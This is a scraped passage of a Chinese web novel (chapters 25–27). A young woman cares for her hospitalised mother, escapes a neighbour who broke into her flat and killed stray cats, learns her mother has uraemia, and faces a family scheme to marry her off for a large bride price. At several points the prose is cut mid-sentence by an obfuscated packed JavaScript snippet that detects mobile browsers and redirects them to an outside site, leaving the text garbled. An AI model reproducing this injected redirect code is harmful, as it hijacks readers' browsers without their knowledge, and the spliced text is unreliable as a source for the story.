“妈妈没能遇上一个好男人,这辈子就这样了。”她仰着头看女儿,“姜姜,你一定得嫁个好男人,不管怎么样,必须有钱,一定不要再过妈妈这种日子了,太苦了。” 她没去迎母亲的目光:“我现在就挺好的,不嫁人也一样可以过得很好。” “傻话,女孩子哪有不嫁人的?” 对于这个话题,她一点也不想聊,时代的鸿沟无法弥合,跟父母辈永远也辩不明白。 她选择沉默。 “找个有钱的男人,这样房子车子都有了,再生几个大胖小子,你就等着享福就行了,多好啊。” “嗯。” 她低垂着眼,敷衍的语气姜母不是没听出来。 姜母见她没有反应,不禁长叹道:“说来说去,还是我和你爸没有做一个好榜样给你,让你对家庭没有感情,觉得结了婚都会像我和你爸这样。” 姜颂手上动作不停,眼中没有任何波澜。 她并不是不相信爱情,只是不敢赌。 姜母看着天花板,仿佛自言自语。 “妈妈真的一直都觉得特别对不起你,从小到大,好像一直都没有给过你什么。没能给你提供好的生活条件,在你最需要的爸妈的年纪也一直没在你身边,现在因为我们,你连结婚都不想结了……” “这几年你一直都不肯回家,是心里还在怨我们吧?怨我们也是应该的……爸爸妈妈都对不起你。”姜母不住地叹息,越说下去声带越是发紧,“可是……妈妈当时真的是没办法。” 那时候她刚刚把家里好不容易攒下的存款的大半拿去给弟弟买了婚房,丈夫怒火中烧,她自知理亏,根本无法挺直腰杆再做任何决定。 姜颂低着头,手指一直在同一个地方揉搓,听到这句,她动作顿住。 冷不丁地叫她:“妈妈。” 她用很低很低的声音缓慢开口,问出了那个在心里困了她许多年的问题: “如果我是妹妹,小骄是哥哥,”她停了一下,“当年你们会选择带我走吗?” “会的,一定会的!”姜母脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑暗中,姜颂侧着身子背对母亲,却一直能感受到身后的目光。 “明天你回家休息吧,这几天真的辛苦你了,你爸在呢,不用担心妈妈。” “嗯。” 姜颂闭上眼,却毫无睡意。 她的确需要好好休息一下,梳理一下自己的思绪。 第二天一早。 姜颂起来先给父亲发了消息,让他早点来,准备买完早餐看着母亲吃完就回家。 不过,天不遂人愿。 姜颂买早餐回来发现病房里多了三个人—— 大伯姜彪和一对打扮得很是讲究的夫妻。 “哎哟,我大侄女回来了,快快快,赶紧进来。” 姜颂狐疑地打量大伯的眼神,她还是破天荒头一次见自己这位大伯见到自己这么高兴。 她又看了眼那对陌生的夫妻,对方微笑着,也在悄悄打量她,从头看到脚。 姜颂站在门口,被看得浑身不自在,连忙脱离两人的视野范围。 她走到母亲身边,悄声问:“我应该叫什么?” “这两位是妈妈的朋友,叫叔叔阿姨就好。” 姜颂挨个叫人,只略过大伯姜彪,后者仍然笑眯眯地望着她。 那对夫妻很是和蔼地应声。 没几句话的工夫,姜父姗姗来迟,与众人寒暄着。 姜颂心里觉得有点奇怪,她怎么不知道爸妈有这么一对夫妻朋友?尤其是这两人看起来非富即贵,这两对夫妻无论是从外表还是谈吐方面,完全都不像会有什么联系的样子。 她还感觉到那对夫妻似乎一直在时不时地观察她,她觉得莫名其妙。 好在姜父已经到了,姜颂跟母亲说了一声,快步离开病房。 25. 第 25 章 这几天她人一直都在医院,办各种手续、缴费、拿药、买饭……跑前跑后,像个陀螺,越转越没劲,着实把她累得不轻。 不过回到小区,她还是先来到了流浪猫基地。 照例从灌木丛里翻出猫粮,倒在碗里。按照之前的经验来看一碗肯定不够分,容易引起猫界大战,她得等着第一碗吃得差不多了再添一次才行。 一时半会儿还没有猫被引来,只好蹲在这里等一会儿。她胳膊肘撑着大腿,单手托着下巴发呆,想着之后一段时间的安排。 她答应粉丝的教程还没开始录,最迟在下周也得录完发上去才行。但母亲做手术加上后续观察至少得十天左右,她又不能把材料拿到医院去录,那样会暴露她的实际工作。 这两件事暂时没办法同时进行,却又都非做不可,已经烦了她好几天了。 她也不是没有想过花钱找个护工搭把手,只是把这个想法跟母亲一说,母亲明面上没说什么,却一直有意无意地向她传达对护工虐待老人的恐慌。 她解释说专业护工不会这样的,再说真出现这种情况也可以马上给她打电话,她来处理。 姜母怎么都不愿意,最后绕来绕去,姜颂从她絮絮叨叨的语言中抓出了重点。无非是三点: 第一价格太贵。姜颂说她来出这部分钱,也不行。第二,不习惯被陌生人伺候,觉得很尴尬。第三,她有她这个女儿。 当然,她很清楚,最后一句才是母亲这段话里的重点中的重点。 其实姜颂在领悟到这些的时候有一点无语和厌烦,但昨晚母亲的一通剖白又让她对自己这一闪而过的想法感到羞愧。 在传统思想教育的潜移默化之下,孩子接收到的教育永远都是要对父母百依百顺,不可忤逆。她想起很小的时候在雨花镇小学的课堂上语文老师给他们看的二十四孝图,并以此教育他们要孝顺父母。 后来她慢慢读到一些课外书,读到鲁迅先生在《朝花夕拾》里对二十四孝图的批判性文字时,她一边震撼,一边觉得自己的思想在不由自主地跟随着这位文学巨匠。 原来从来如此的思想也不一定是对的。 随着经历的丰富,她见过了太多身边幸福家庭的正确打开方式,才惊觉自己那痛苦的青春期原来是不正常的。 她总是在反复试探父母是否爱她,然而两种答案经常性地交替出现。她通常会有一段时间恨到想要老死不相往来,又会在某一刻因为感受到一点爱而对产生的恨意无比愧疚。 最终她还是不敢将她对父母的这种复杂感情对任何人宣之于口。别说是信息闭塞的农村,就算是思想开放的大都市里也同样会有人指着她的鼻子骂白眼狼。 她无法控制自己的想法,却也不想接受别人的指责。 就一直这么矛盾地和父母相处着,爱与恨此消彼长,互相轮流占上风。 这种矛盾的情绪有时候会让她非常痛苦。 她叹出一口气,抬头望天。 碧空如洗,万里无云,她感受到暖洋洋的光照在她脸上。 这么好的天气,最适合拉上窗帘睡到自然醒。 算了,管他什么麻烦事,都得等她睡醒再烦。 姜颂低头一看,面前那碗堆成小山丘的猫粮仍旧一动未动。 一只猫都没有来过。 她奇怪地环视周围,见远处的灌木丛里躲着几只小猫,乌溜溜的眼睛在观察着她,却一直不敢靠近。 她眉头一皱。 什么情况?难道她这几天没来,猫猫已经把她好感度清零了? 她怎么也想不通原因,起身准备回家换个贵点的猫粮。 待她走远,她发现那些躲在暗处的猫渐渐走出来吃饭了。然而察觉到她的视线,又立刻惊恐地四散逃离。 姜颂简直丈二和尚摸不着头脑。 为了让它们好好吃饭,她只好收回目光,赶紧进单元楼,打算着睡醒了再来喂一次。 回到家她快速洗了个澡,换上睡衣。遮光窗帘一拉,室内一片幽暗,跟晚上没什么区别。 她愉快地钻进被窝,心想最好天塌下来都不要有人打扰她睡觉才好。 * 医院。 按照习惯,孟决明平常会早到医院半个小时。 今天却稀奇地慢了十分钟。 他提着一份从家里带来的早餐,先去了病房。 没看到姜颂的身影,他询问后被姜母告知今天姜颂回家休息,明天才会来。 他掩藏好那一点点的失望情绪,转而接着问了一些关于姜母身体状况的问题。 那个糟糕的猜测再次在他心底浮现。 昨天下午样本已经送检,他跟检验科的朋友打了招呼,让把结果加急出一下,估计今天就会有结果。 他现在却有点后悔了。 如果今天收到的结果验证了他心里的猜测,只会让姜颂的情绪提前受到影响。 “孟医生?” 见他心事重重地发怔,姜母忽然紧张起来:“有啥问题吗?” 孟决明安慰她:“没事阿姨,我就是按规矩问一遍。” 姜母抚着心口,笑:“吓我一跳,我看您不说话还以为我得什么病了。” “不会不会,我要问的都问完了。我看您这伤处消肿的效果很好,应该过几天就可以手术了。阿姨您好好养着,我先去工作了。” “哎哎哎,好,您去忙吧。” 他带着心事一路回办公室,换上白大褂往诊室走去。 诊室外已经坐了不少等待的病人。 担心自己的状态会影响到问诊,他连忙定了定心神,暂时不去想那最坏的结果。 他坐到桌前,摒弃杂念,开始认真工作。 一个上午过去,坐诊结束。 他休息的间隙里,检验科的朋友发来了一份电子报告。 * 姜颂也没想到自己能一觉睡到晚上。 甚至不是自然醒来,是被吵醒了。 她睡眠一向特别浅,周围有一点声音都会惊醒。就在刚刚,她好像听见来自外面很明显的动静。 黑暗中,听到异响的姜颂猝然睁眼,聚精会神地听着动静。 不是她幻听,是真的有动静! 窸窸窣窣的,像是在翻什么东西,伴着不轻不重的脚步声。 她猛然间联想起年前的那个小插曲。 陆轩陪她住了那么久都无事发生,她只以为是自己那段时间心绪不宁导致记忆错乱闹的乌龙。 但现在,她忽然觉得,可能那时候是真的有人进来过她家。 姜颂不敢出声,光脚下床反锁房门,耳朵贴在门上听外面的动静。她太过紧张,被自己的心跳声震得听不清楚。 屋里那个人是一直就在她家里,还是从哪里刚进来的? 外面的情况她一无所知,不知道对方有没有武器,也不知道对方知道她已经发现之后会如何反应,是会掉头就跑,还是会情急之下杀她灭口? 她心慌得厉害,抓起手机的手不停发抖,她在慌乱中迅速思考,编辑短信报警。 不知不觉中,她背后全是冷汗,手心滑得几乎拿不住手机。 短信发出后,她的安全感稍微提升了那么一点点,屏住呼吸去听外面的脚步声,不算近,人应该在厨房方向活动。 她怕发出声音,只敢动作缓慢地开锁,将门开了条小缝,借着月光往外看。 没人。 值得庆幸的是,她住的这间房离门口很近,直线只有几步的距离。 心脏跳得仿佛要冲破胸膛,她当机立断,三步并作两步,直直冲向门口,一鼓作气夺门而出。 地面冰凉,她光着的脚被冰得没了知觉,却一步也不敢停。她不敢想惊动了家里那不速之客后对方会不会追上来把她灭口,只一个劲儿地疯狂朝楼下跑去,狂喊救命。 楼道里的声控灯因她的求救声全部亮起。 跑到一楼的时候,有个大姐披了衣服出来,见她一脸惊恐,忙上前问她发生了什么事。 …… 姜颂下楼的时候只穿了一身春秋季的薄款纯棉睡衣,三月的桐市春寒料峭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084888|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冻得她嘴唇发白,可她根本感觉不到。 大姐回家拿了件外套和拖鞋给她,陪着她等警察。 直到警车的鸣笛声回荡在小区里,全小区的灯亮了大半,她才在警察的带领下回到了家里。 警察在她家搜罗了一圈,没发现任何人的踪迹,甚至连门窗都没损坏。 最后,警察联系了物业经理,调取小区监控,还真有一个摄像头拍到了。 人是从姜颂楼上那户用绳子吊下来的! 小区摄像头在夜间拍得不够清晰,看不清人脸。看这熟练程度,这人肯定不是第一次进她家了,姜颂跟警察补充了一些年前的细节。 出警的警察分了两人去楼上调查情况,留下一位继续寻找正脸照。 一拨人围在监控大屏前一直倒带,倒到正月某一天的时候,姜颂的目光忽地聚焦在屏幕的某一处。 “等一下!” 她盯着那一处看了许久,喃喃道:“可以帮我把这之前几天夜间的录像也倒一下吗?” * 去楼上调查情况的两位民警很快押着一个其貌不扬的斯文男人回来,正是她楼上那新搬来的邻居。据说警察上楼时正好跟这见势不对想要逃跑的男人撞了个正着,后者见到警服拔腿就跑。 众人忙活了半天,终于找到了年前某一天的清晰录像。 监控录像显示,她家楼上那户新搬来的邻居曾在那天从阳台吊下一根绳索,顺着摸进她家。 姜颂想起来,那段时间正是她在南方逃避现实的时候,有半个多月都没在家。 这下证据确凿,男人心理防线崩溃,将自己的所作所为全盘托出。 他说他以前是外卖员,顺便帮人到处贴小广告。大约几个月前他发现这小区里独居女性很多,开始尝试着用小广告试探。独居女性一般比较爱干净,最受不了贴在门上的小广告,大部分人都会像姜颂一样清理掉,如果几天都没清理就代表着不在家。 他慢慢起了歹念,搬进小区,更方便他作案,离他租的房子最近的就是姜颂。 斯文男人哭着道歉:“对不起我再也不敢了,我就是想偷拿几件衣服,没想干什么……” 他口中的衣服自然不是普通的衣服,是不是真的没想干什么就更难说了。 一楼的热心大姐闻声而来,啪啪上去两个耳光,把人直接扇懵了。 她破口大骂:“你个不要脸的,年纪轻轻人模狗样的不学好,干出这种偷鸡某狗的事!这两巴掌是我替你老娘教训你!” 民警怕人情绪上头再动手,赶忙把人隔开。 根据男人的供词,警察到他家搜了一通,查获了不少各式各样的“衣服”。 还有……几张猫皮和遍体鳞伤的小猫。 她忽然就理解了早上喂猫时的那些小猫的异状。 这下轮到姜颂气到动手了。 民警也没想到这小姑娘看着薄薄一片,力气还挺大,按都按不住。一个没拦住,让她打了那男人好几巴掌还踹了一脚。 鼻青脸肿的男人眼镜都被打飞了,痛哭流涕还挺委屈:“流浪猫而已,至于吗?” 要不是杀人犯法,姜颂真想付诸行动。 她冷冷睨着他:“你最好祈祷下辈子万一投胎成流浪猫别遇见你这样的渣滓。” 一切流程走完,警察带着男人回了派出所。 姜颂跟房东说了今天发生的事,商量能不能把受伤的猫暂时带回家,并承诺如果损坏家具陈设会照价赔偿。房东心肠也软,同意了她的请求。 她不忍去看那些血淋淋的皮毛,连夜找了花园里一处安静的地方埋了。 眼看着土壤一点一点遮盖,她眼眶陡然湿润。 如果她没有离开就好了,她就可以好好保护这些小家伙了。 它们有什么错呢,不过是和她的那只小土狗一样,只是因为碍了人类的眼。 错的不是它们,可付出代价的却是。 一通折腾下来,天边竟已泛起了鱼肚白。 她上楼换了衣服,拖着更加疲惫的身体赶往医院。 26. 第 26 章 去医院的路上,姜颂在出租车上补了短短一觉。 中途遇上追尾,前面的两方车主一言不合当街大打出手,导致路上堵了好一会儿。 司机看得津津有味,点评道:“嘿,这打得还有来有回的哈。” 这车是打表计费的,不是没有小路可走,司机偏偏就堵在这里不动当起看客,姜颂心知肚明司机的心思,她也没精力跟他掰扯。 司机没得到回应,从后视镜往后一看,人在后排睡得正香。 他感叹:“年轻人就是爱熬夜啊。” 不知道过了多久,姜颂被叫醒,她付钱下车,人站在医院大门口还有点懵。 凭着肌肉记忆往病房走着,正碰上查房出来的孟决明。 一天没见,她的状态似乎更疲惫了,孟决明忍不住问:“昨天没休息好吗?” “一言难尽……”她无奈地笑,偏头看了眼病房号,料想他应该已经查完了母亲的病房,“我妈妈情况还好吗?” 孟决明:“伤处已经消肿了。” “那什么时候可以安排手术?” 闻言,他注视着她的目光往旁边移:“暂时还不行。” “有什么问题吗?” 他不说话了。 沉默的空隙里,有个慌张的小护士狂奔而来。 小护士看见他像看见救命稻草,隔着老远就开始喊:“主任,三床病人突然陷入昏迷!” 孟决明不由自主地跟着小护士小跑,匆匆回头看姜颂,对她说:“待会儿我去病房找你。” 姜颂没睡醒脑子一片混沌,一时没反应过来他的意思,只点头让他赶紧去看那昏迷的病人。 她往病房一边走一边回想刚刚他的神态以及话语,总觉得他有什么话没说完。 愣神间她到了病房前。 她一推门,浓重的烟味扑面而来,直熏得人头昏脑胀。 姜母正坐在病床上啃烧饼,是前几天姜父买回来的那袋,而病房里遍寻不见姜父的身影。 姜母朝她望来:“姜姜你来了。” 姜颂应了声,把房门完全打开,进去把包放下,窗户也开到最大。 回头看见啃烧饼的母亲,她压着脾气问:“他没给你买早饭吗?” 姜母讪讪道:“你爸说病房的床他睡不惯,晚上没睡好,一大早就回酒店补觉了,没来得及买饭。” 姜颂目光轻移,瞥见桌上那不锈钢的饭盆,里面的泡面汤汁已经结块,一看就是昨天吃剩的。 “那你们昨天中午和晚上吃的什么?该不会都是泡面吧?” 姜母笑笑:“从家里带过来的泡面不吃就过期了,你爸说得先把这个吃了,所以……” “所以昨天一天你就吃这些一点营养都没有的垃圾食品。”她接上话,简直气得想骂人。 忍了又忍,她说:“吃什么我去买。” 姜母却直摇头:“不用了,妈就吃点烧饼挺好,不吃也浪费了,钱得省着花。” “你能不能别总说这样的话啊!” 她实在太累了,极度的疲劳催生燥意,她又生气又心疼,情绪一瞬间脱离了控制,吼着说出了这句话。 姜母不知所措地看着她,不懂她为什么突然发火:“姜姜……” 姜颂做着深呼吸,努力控制着自己的语气:“妈妈,钱不是这么省的,我希望你能表达你的需求,就像前两天你说想吃卤鸡爪一样,别总是委屈自己行吗?” “没有,我是真的吃不下……”姜母捏着衣角小声说。 姜颂扫了眼那袋烧饼,里面少了大半,估计在她来之前姜母就已经吃了几个。 她缓和下来:“那中午想吃什么?” “啥都行。” 那股无名火又有燃起的苗头,她干脆放弃了沟通,问了也是白搭。 她开始收拾桌上的垃圾,问:“刚刚孟医生来说什么了吗?” “他就说让我多吃一些……什么高什么白的食物,少吃盐,然后少喝水。” “少喝水?”姜颂一顿,“他还问什么了吗?” 姜母一一重复。 姜颂反复咀嚼着那些问题和他刚刚吞吞吐吐的态度。 这时候,孟决明发来一条消息打断她的思绪。 【临时加了台手术,没办法去找你了,中午一起吃饭吧。】 姜颂盯着屏幕上那个绿色气泡看了好一会儿,才打下了一个好字。 护士推着车过来给姜母输液,姜颂侧了侧身让开路。 姜母熟练地伸出手,小护士经验不充足扎了两次才扎进血管,连连道歉,姜母笑着安慰她。 姜颂站在那里,看着母亲脸上的笑容出神。 小护士快速挂好吊瓶,嘱咐姜颂:“输完了及时按铃叫我来换药。” 姜颂嗯了一声,对她说谢谢。 看着姜母打完所有的吊瓶,正好是十一点半。 孟决明的办公室正好在她去食堂的路上, 她乘电梯下行。 电梯里,她抬头盯着上方的楼层数字不断跳动,像在等待着某种宣判。 不知是不是密闭空间空气稀薄的原因,她一阵没来由地喘不上气。 * 孟决明刚刚完成手术,走出手术室就被家属包围起来询问情况。 他耐心跟家属说明手术结果,并交代了一些注意事项,家属拉着他千恩万谢。 他分神用余光去看一旁挂在墙上的钟表,有些着急。 病人被推出了,围着他的家属顷刻散去。 他连忙回到更衣室换衣服。 从更衣室出来,他一抬眼,怔在了原地。 姜颂从电梯口慢慢朝他走来,手里拿了一沓纸。 在检验科,这样的纸张司空见惯。 他的一颗心随着她走近而不断下沉。 隔着一段距离,姜颂看到他站在不远处,视线向她投来。 他薄唇紧抿,递来的眼神中罕见地没有一丝笑意。 姜颂脚步停顿一下,挤出一个笑容,一步一步朝他的方向走去。 她语气轻快:“我刚去你办公室找你你没在,你同事说你还没下手术,我就来这里等你了。” “哦,我在你桌上看见了这些报告单,上面都是我妈妈的名字,就顺便拿来了。”报告单上异常的指标被加粗加重标记,她垂眸看着那许多她未曾听说过的医学术语,“这么快就出结果了吗?” 他第一次没有接她的话。 他的情绪在她面前几乎是透明的,她在这一刻真希望自己立刻变成看不懂人眼色的傻子。 “是……”她的笑成了她最后的盾牌,“很严重吗?” “姜姜。”他不忍心看她难过,想缓一缓再挑个合适时机慢慢告诉她,尽可能地减轻对她的伤害。 她说:“你说吧,我没事。” 他顿了几秒,艰涩开口:“是……尿毒症。” 轻飘飘的四个字一个接一个落入她耳中。 她像个卡顿的机器,缓慢地接收着传来的信息。 巨大的耳鸣声在她脑中炸开,冲击得她头晕目眩,她的视野一瞬间在模糊中晃荡不停,被他稳稳抓住手臂,才不至于摔倒。 她涣散的目光呆呆望着他,看他眉心紧皱,看他神色慌张,他的嘴唇在动,她却一直听不清他的声音。 “姜姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的眼睛不断地掉下泪珠,他想去帮她擦擦眼泪,好好地抱抱她,告诉她不要害怕,他会陪着她。 可他没有这样的资格。好不容易修复的关系,他很怕会被他弄得更糟,他经不起再一次越界带来的后果。 他只能用自己的方式劝她:“我已经联系了我国内外相关领域的朋友在帮阿姨寻找合适的肾源了,答应我,就算你这次配型成功,也先不要着急下决定,给我一些时间好吗?” 姜颂却轻轻地笑了。 “能找到当然是最好,但我即使是个外行也知道肾源有多稀有,能配型成功的更是凤毛麟角。”她抹去眼泪,“如果连我这个亲生女儿都不愿意捐献肾源,那又怎么指望别人为了我的妈妈放弃自己重要的器官呢?” 孟决明没说话。 他想,会有的,如果他能配型成功,他就愿意,只要她愿意接受。 可她不会接受。 “这一关,就让我自己过吧。” 她心意已决,他除了抓紧时间帮她寻找肾源,其余什么也做不了。 他喉结轻滚,声音干涩:“好。” 她上前,轻轻抱住他,他一下僵在原地。 “谢谢你,这段时间你真的帮了我太多太多了。” 这个拥抱的每一秒都像是被无限拉长,他竭力压制自己想要抬手环住她的想法。 在她即将要松开怀抱的瞬间,理智霎时被他抛到九霄云外。 他反手收力,将她按回怀里,用力抱紧,手掌轻抚她的后脑。 温声对她说:“别怕,会好的。” 他肩头一阵温热的湿润,心脏因那抹湿润不断抽痛。 他在心里祈祷着,希望命运能够善待一些这个努力生活的女孩子,就帮她渡过这一关吧。 但在命运的安排降临之前,他会尽他的全力去帮她。 他真的不忍再看到那双漂亮的眼睛流泪了。 27. 第 27 章 姜颂点了外卖送到病房,给姜母发了消息说有点事,让她先吃饭。 她坚持没让孟决明陪同,独自去做了配型检查。 孟决明尊重她的想法,没有跟着,仓促吃了两口饭,打包带了一份回来找她。 姜颂刚抽完血,坐在椅子上,羽绒服脱掉一半,黑色内搭的袖子卷上去一截,露出纤细的手臂,她右手用棉签按住左臂上的针孔,低头盯着地面不知道在想什么。 他走过去,在她面前蹲下/身子,低声哄她:“就算是真要做移植,也得你的身体条件允许才行,咱们先吃饭?” 她半垂着的眼帘慢吞吞抬起,单手接过来,刚哭过的嗓音还有点哑,闷声闷气地嗯了一声。 他看着她的胳膊:“我帮你按着,先吃饭。” “不用,已经按了一会儿了,不流血了。” 他不知从哪翻出一个创可贴,拆开包装小心贴在她手臂的针孔处,顺手帮她把袖管放下来。 做完这一切,他坐到她身侧,想看着她把这盒饭吃完再回去。 姜颂把外套穿好,打开打包盒的盖子,用筷子送米饭到嘴里,味同嚼蜡。 她低着头,眼泪砸进饭里,从嗓子里挤出声音:“我早上还吼了她一句……” 无厘头的一句话,孟决明却知道她在说什么。 “她在这个家里任劳任怨,操劳了一辈子,没有享过一天福,老了为什么还要受这样的罪。”她哽咽着说。 “这些年我也一直跟她赌着一口气,我觉得她偏心我弟弟,不够疼我,所以我总是逃避回家,她每次都说想我,我就一直骗她说我加班回不去,都没有好好陪过她……我是个很差劲的女儿……”说到后面,她肩膀颤抖,逐渐泣不成声。 事到如今,孟决明才发觉安慰人真是世界上最难的事,尤其是安慰喜欢的人。他平时话就少,到了这个时候更是深觉自己语言能力的匮乏。 他干巴巴地安慰:“阿姨肯定不会怪你的,别这样说,你已经做得很好了,真的。” 他身上也没带纸巾,只能用袖子给她擦眼泪,手掌轻拍着她的背安抚她的情绪,“不要哭了,眼睛肿了待会儿回病房你怎么跟阿姨解释呢是不是?” 这话虽然没起到什么安慰作用,却让她止住了眼泪。她吸吸鼻子,觉得他说得有理,她不能再哭了,她还没想好怎么告诉母亲这个噩耗,要是被母亲看出来就完了。 她把眼泪憋回去,稳定情绪继续吃饭。 孟决明见她平静了一些,犹豫着开口:“如果你弟弟已经成年的话可以把他也叫来配型,成功的概率会大一点。” 姜颂咀嚼的动作停滞了片刻,偏头看向他。 母亲生病的消息来得太过猝不及防,以至于她的理智到现在还没有恢复,她倒是把这茬给忘了。 她咽下食物,急忙伸手从口袋里摸出手机。 孟决明叹了口气,轻轻抽走她手里的手机,她眼里带着不解。 “不急这一会儿,先吃饭,好吗?” 她也不闹,点点头,大口大口吃起来。 医院中午的休息时间到下午一点半,孟决明下午还有手术,必须回去做准备。 姜颂连忙表示自己没事,让他先去忙,不要耽误工作。 目送他离开,她抓紧时间扒拉完最后一口饭,打开手机找弟弟姜骄的联系方式。 她只有姜骄的微信,还是当年她还住在家里的时候加的,加上之后也从没跟他互相发过消息,因为实在没有话可以说。 比起亲人,他们这对姐弟更像是有着血缘关系的陌生人。 她也没想到,跟这个弟弟唯一一次主动联系居然是因为这种事。 姜颂找出他的微信,拿着手机走到窗边,拨通了语音电话。 * 午后。 陆轩提了个果篮一些补品,艰难地腾出一只手打电话,边往住院部走。 前几天给表姐打电话的时候听说姑姑住院了,桐市离老家不算近,他父母都没空过来,只能他代表父母过来慰问一下。 他打电话给表姐姜颂想问问病房在哪,一直没人接。 他挂了电话,看到护士站,上去问那边的小护士。得到病房号和善良小护士的指路,他很快找到了病房所在。 姜母看见他来喜出望外,笑着埋怨他来还买那么多东西,忙让他坐下。 陆轩四下环视一圈,没看见姜颂,问:“我姐呢?” “不知道,中午刚给我发消息说有点事,待会儿回来。”姜母说。 陆轩哦了声,看了眼她的腿:“姑姑你什么时候做手术,到时候我也过来,看看有没有什么需要帮忙的。” “哎呀不用,时间还没定呢,再说有你姜姜姐在这就够了,你们小男孩哪会照顾人,好好忙自己的事吧。我听说你们研究生也特别忙吧?” “嗐,再忙也是能有空来看看您的,不差这一会儿,等手术时间定了一定让我姐告诉我一声,我必须来。” 姜母被这番话说得心里熨贴,笑道:“你这孩子。” 闲聊几句,病房门外渐渐出现两个男人的交谈声,声音越来越近。 姜母说:“准是你姑父来了。” 不多时,陆轩看到姑父带着一个跟他长得有几分相似的中年男人一起进门,后者满面堆笑,不知道遇上了什么好事。 陆轩一下猜到这位应该就是表姐的那位大伯姜彪。 姜父见陆轩在这,神色淡淡地打了个招呼:“来了。” 陆轩浑不在意地笑笑,早就习惯了姑父的态度:“嗯呢,来看看我姑姑。” “嗯。” 姜彪见到他很是自来熟地跟他说话:“你就是轩轩吧,听说在这边最好的大学里念书是吧?” 陆轩囫囵道:“没有,就是瞎念呗。” “哎呦那可不是,我听你姑说你学的医,等毕了业进了这种大医院肯定不少赚,随便收个红包都不老少钱哩!” 陆轩挠挠头:“收红包是违规的,医生是救命的,咱不能干那事啊。” “你还是太嫩了,出了社会都这样,人为财死鸟为食亡,你说我说得对吧?” 陆轩讪笑两声,出于礼貌没接话也没反驳。 姜父坐下来,听着两人的对话不耐烦地抢过话头:“哥你来有啥事,刚问你你也不说,非得到病房说,到底啥事?” 姜彪想起正事,又是喜上眉梢。 “这事啊跟你说没用,就得跟弟妹说!”姜彪神秘兮兮的,眼中的得意藏不住,“上回那家人啊昨天跟我联系,说看上咱家姜姜了!对我大侄女特别满意!” 陆轩在一边听得云里雾里。 什么叫看上了,表姐去相亲了? 那他偶像岂不是一点戏都没有了? 不等他多做思考,姜彪又透露出一个重磅消息:“这家人是他们当地数一数二的富户,家里有好几个厂子,条件相当不错。人家说了,只要我大侄女肯嫁过去,就给一百万的彩礼,房车全包!” “你说哪有这好事啊,这不是天上掉馅饼吗!我就说我大侄女是个有福气的,你看让我说着了吧!” 姜母迟疑道:“我上次听你说那家的儿子稍微有点问题,是啥问题啊?” “啊,就是一点小毛病,小时候发过烧,脑子落下点小问题,不是啥大事。等我大侄女嫁过去,准保吃香的喝辣的,要是能给那边生个孩子,人家还给钱,我大侄的彩礼你们不是还愁着呢吗,真成了你们还能剩下个七十万,你们老两口也能享享清福,我也能跟着沾点光,多好的事!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103918|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“只要姜姜过得好就行,我们倒是没什么。” “脑子有点问题,那不就是傻子吗?”陆轩出声打断。 他越听眉头皱得越紧:“我姐好好一个姑娘,哪哪都不比人差,又漂亮又有能力,想找什么样的没有,为什么非要委屈自己嫁给一个傻子?” 姜彪立马说:“啧,你这孩子说话咋那么难听,有钱怕啥的,傻不傻的都一样过!再说他也没傻得很严重,跟人说话还是没问题的,生孩子更没问题!” 姜彪沉浸在巨款即将到手的喜悦之中,没心思搭理小孩,忙对姜母说:“弟妹啊,我大侄女一向主意正,谁的话都不听,就你说话还有点用,你可一定好好劝劝她,可别让她再犯傻了,前几年她不嫁那是她还年轻,现在她都多少岁了,咱村里跟她一般大的小女孩孩子都上小学了,她可不能再拖了!女人这一辈子就青春最值钱,趁着年轻,赶紧嫁了,还能给家里进点钱孝敬孝敬父母长辈,要不等过几年老了谁还要啊。” 姜母有些为难地说:“我前两天就劝过她了,我听着意思姜姜还是不太想结婚,唉,这孩子也是读书读傻了,我再跟她说说吧。” 陆轩知道姑姑到桐市来住院的时候心里还在犯嘀咕,骨折患者不就近在本地地级市的医院就诊为什么偏偏要跑到这百十公里的桐市来呢? 他猜到有打算让表姐来陪床的原因,只是他万万没想到他们居然还打了这样的如意算盘! 陆轩几乎觉得自己在做噩梦,往自己大腿上掐了一把,疼得他有些懵。 天底下怎么会有父母对自己女儿的婚事随便到这个地步?眼前的这个女人真的是他认识的那个姑姑吗? 三个大人还在那边商讨着怎么劝说姜颂。 “多少钱又怎么了,再怎么样你们也不能让我姐去嫁给一个傻子吧?” 陆轩突如其来的扬声争辩让三个人同时将目光落在他身上。 他蹭地一下站起来,看着姜母说,“姑姑,我姐从小就没在你们身边长大,您跟姑父不疼她就算了,那也不能把她往火坑里推吧?傻子的基因可是有很大概率遗传的!” “那家人条件挺好的,这也不能算是火坑吧……再说她亲弟弟结婚,她这个做姐姐的出点钱也很正常啊,不都这样吗?”姜母笑容有些虚,弱声说道。 提起这一茬,姜父瞬间抓住了话柄,没好气地冲陆轩嚷:“你个小毛孩子在这搅和什么,当年要不是我们给你爸出钱买房子,现在有没有你还不好说呢!现在我儿子等着彩礼结婚,你敢把这事搅和黄了你看我不去找你爸闹的,咱们谁也别想好过!” 